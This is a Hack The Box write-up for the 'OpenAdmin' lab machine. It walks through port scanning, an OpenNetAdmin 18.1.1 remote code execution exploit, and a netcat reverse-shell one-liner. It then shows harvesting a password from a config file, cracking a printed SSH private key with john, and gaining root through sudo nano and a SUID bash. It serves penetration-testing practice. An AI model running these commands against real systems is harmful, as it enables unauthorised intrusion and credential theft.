> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/linux-machines/openadmin.md).

# OpenAdmin

![](/files/4IZEtp5Bu6SKQQWutBQi)

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.171 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

```
# Nmap 7.92 scan initiated Fri Mar 25 13:10:21 2022 as: nmap -sS -p- -T5 --min-rate 5000 -n -Pn -oN allPorts 10.10.10.171
Warning: 10.10.10.171 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.171
Host is up (0.39s latency).
Not shown: 40973 closed tcp ports (reset), 24560 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri Mar 25 13:10:58 2022 -- 1 IP address (1 host up) scanned in 36.82 seconds
```

As we see, only ports 22 (SSH) and 80 (HTTP) are open.&#x20;

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80 10.10.10.171 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

```
# Nmap 7.92 scan initiated Fri Mar 25 13:11:19 2022 as: nmap -sCV -p22,80 -oN targeted 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 25 13:11:30 2022 -- 1 IP address (1 host up) scanned in 11.67 seconds
```

If we take a look at the website, we'll see the *Apache2* default page.

![](/files/tqiRzYRePLhnfXNtYCqD)

Let's enumerate directories with gobuster.

> gobuster dir -u <http://10.10.10.56/> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.

```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.171
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/25 22:39:38 Starting gobuster in directory enumeration mode
===============================================================
/music                (Status: 301) [Size: 312] [--> http://10.10.10.171/music/]
/artwork              (Status: 301) [Size: 314] [--> http://10.10.10.171/artwork/]
/sierra               (Status: 301) [Size: 313] [--> http://10.10.10.171/sierra/] 
                                                                                  
===============================================================
2022/03/25 22:41:13 Finished
===============================================================
```

There are three different websites. Let's take a look at the `/music` one.

![](/files/gFgm1xe11XdmR4gkFEsK)

If we click on the `Login` button, we'll be redirected to a different web page with the `OpenNetAdmin :: 0wn Your Network` tittle, and it says that it is the version *18.1.1*.

![](/files/RHw6VqIpSH6Ju4k81F5b)

## Exploitation

Let's search for common exploits of `OpenNetAdmin`.

> searchsploit opennetadmin

```
---------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                   | php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                    | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                     | php/webapps/47691.sh
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

Let's move the `.sh` one to our current directory.

> searchsploit -m php/webapps/47691.sh

```
  Exploit: OpenNetAdmin 18.1.1 - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/47691
     Path: /usr/share/exploitdb/exploits/php/webapps/47691.sh
File Type: ASCII text

Copied to: /home/alfa8sa/HTB/machines/openadmin/47691.sh
```

If we take a look at the [exploit](https://www.exploit-db.com/exploits/47691), we'll see that we have to execute it, indicating the *URL* of the `OpenNetAdmin` web page. We'll see that this exploit allows us to run commands.

> ./47691.sh <http://10.10.10.171/ona/>

```
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Let's get a reverse shell, to have a more stable shell. First, let's set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

If now we execute the following command, on the *"shell"* that the exploit gave us, we'll get a reverse shell as the `www-data` user.

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.19 4444 >/tmp/f

```
listening on [any] 4444 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.171] 57088
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

## Privilege Escalation

First, let's set an interactive *TTY* shell.

> script /dev/null -c /bin/bash&#x20;

Then I press `Ctrl+Z` and execute the following command on my local machine:

> stty raw -echo; fg
>
> reset
>
> Terminal type? xterm

Next, I export a few variables:

> export TERM=xterm
>
> export SHELL=bash

Finally, I run the following command in our local machine:

> stty size

```
51 236
```

And set the proper dimensions in the victim machine:

> stty rows 51 columns 236

We are currently in the `/opt/ona/www` directory, if we list the current directory, we'll see a lot of config files and folders.

> ls -l

```
total 60
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r-- 1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r-- 1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x 9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r-- 1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r-- 1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r-- 1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 workspace_plugins
```

Usually these config files have passwords or some sort of credentials. If we search for the `pass` word in all the files of the current directory and subdirectories, we'll find the `n1nj4W4rri0R!` password, in the `local/config/database_settings.inc.php` file.

> grep -r pass 2>/dev/null

```
local/config/database_settings.inc.php:        'db_passwd' => 'n1nj4W4rri0R!',
```

If we enumerate the system users, we'll see the `jimmy` and `joanna` users

> ls -l /home

```
total 8
drwxr-x--- 5 jimmy  jimmy  4096 Nov 22  2019 jimmy
drwxr-x--- 5 joanna joanna 4096 Jul 27  2021 joanna
```

Let's try to become the `jimmy` user with the password we found earlier.

> su jimmy

```
Password: n1nj4W4rri0R!
```

If we check the groups that the user `jimmy` is a member of, we can see that it belongs to the `internal` group.

> id

```
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
```

Let's search for anything that has the `internal` group as the group owner.

> find / -group internal 2>/dev/null

```
/var/www/internal
/var/www/internal/main.php
/var/www/internal/logout.php
/var/www/internal/index.php
```

There is the `/internal` folder under the `/var/www` directory. This means that maybe there is another website, but it is not accessible from outside. If we check the `/etc/apache2/sites-available/`, which has the configuration files for all the apache2 websites, we'll see the `internal.conf` file along with the `openadmin.conf` and the `default-ssl.conf` files.

> ls -l /etc/apache2/sites-available/

```
total 16
-rw-r--r-- 1 root root 6338 Jul 16  2019 default-ssl.conf
-rw-r--r-- 1 root root  303 Nov 23  2019 internal.conf
-rw-r--r-- 1 root root 1329 Nov 22  2019 openadmin.conf
```

If we take a look at the `internal.conf` file, we'll see a few things. First, it is listening on the localhost on port 54846, and second, the `AssignUserID` is assigned to the `joanna` user, and the `joanna` group.

{% hint style="info" %}
The **mpm\_itk** module allows you to increase the security of the virtual hosts, making each one run with separate UIDs/GIDs.
{% endhint %}

> cat /etc/apache2/sites-available/internal.conf

```
Listen 127.0.0.1:52846

<VirtualHost 127.0.0.1:52846>
    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
```

Also, if see the `/var/www/internal/main.php` file, we'll see that it gets the content of the `/home/joanna/.ssh/id_rsa` file and print it out. As the server runs with the *UID/GID* of the user `joanna`, it can do it.

> cat /var/www/internal/main.php

```php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
```

If we curl that file of the server hosted on the localhost on port 52846, we'll see the `id_rsa` file of the `joanna` user.

> curl 127.0.0.1:52846/main.php

```
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
```

Now grab the key, paste it in the `id_rsa` file, and give it the right permissions.

> nano idrsa && chmod 600 id\_rsa

But, as we can see, the `id_rsa` file is encrypted. Let's get a hash that *john* can understand with the *ssh2john* tool.

> ssh2john id\_rsa > john\_id\_rsa

Now break it with john using the `rockyou.txt` dictionary.

> john --wordlist=/usr/share/wordlists/rockyou.txt john\_id\_rsa

```
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (id_rsa)     
1g 0:00:00:06 DONE (2022-03-25 23:40) 0.1459g/s 1397Kp/s 1397Kc/s 1397KC/s bloodninjas..bloodmore23
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

And we get the `bloodninjas` password for the encrypted `id_rsa` file. Now we can log in as the `joanna` user via *SSH*, and then we could grab the user flag.

> ssh -i id\_rsa joanna\@10.10.10.171

```
Enter passphrase for key 'id_rsa': bloodninjas 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Mar 25 22:42:23 UTC 2022

  System load:  0.0               Processes:             184
  Usage of /:   31.0% of 7.81GB   Users logged in:       0
  Memory usage: 14%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

39 packages can be updated.
11 updates are security updates.


Last login: Tue Jul 27 06:12:07 2021 from 10.10.14.15
joanna@openadmin:~$ whoami
joanna
joanna@openadmin:~$ cat user.txt 
572fcb020b9b50192e174d1c267be9ed
```

Let's list the *sudo* privileges of the `joanna` user.

> sudo -l

* `-l` list user **privileges**.

```
Matching Defaults entries for joanna on openadmin:
    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
```

We can execute *nano* on the `/opt/priv` file as the *root* user. If we search for nano on the *GTFOBins* list, we'll see that we can execute any command as the root user.

{% hint style="info" %}
**GTFOBins** is a great list of binaries that can be used to escalate privileges if you have the right permissions.

<https://gtfobins.github.io/>
{% endhint %}

First, let's execute *nano* with *sudo* privileges on the `/opt/priv` file.

> sudo nano /opt/priv

Then, press `Ctrl+R`, and then `Ctrl+X` to execute commands. Then execute the following command to give the *SUID* permission to the *bash* binary.

> chmod u+s /bin/bash

Finally, if we exit *nano*, and execute *bash* with the owner permissions, we'll get a shell as *root*, and all we have to do is reap the harvest and take the root flag.

> bash -p

```
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt 
bf0cd9e41c42825e4c64cb46014e5d8b
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/openadmin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
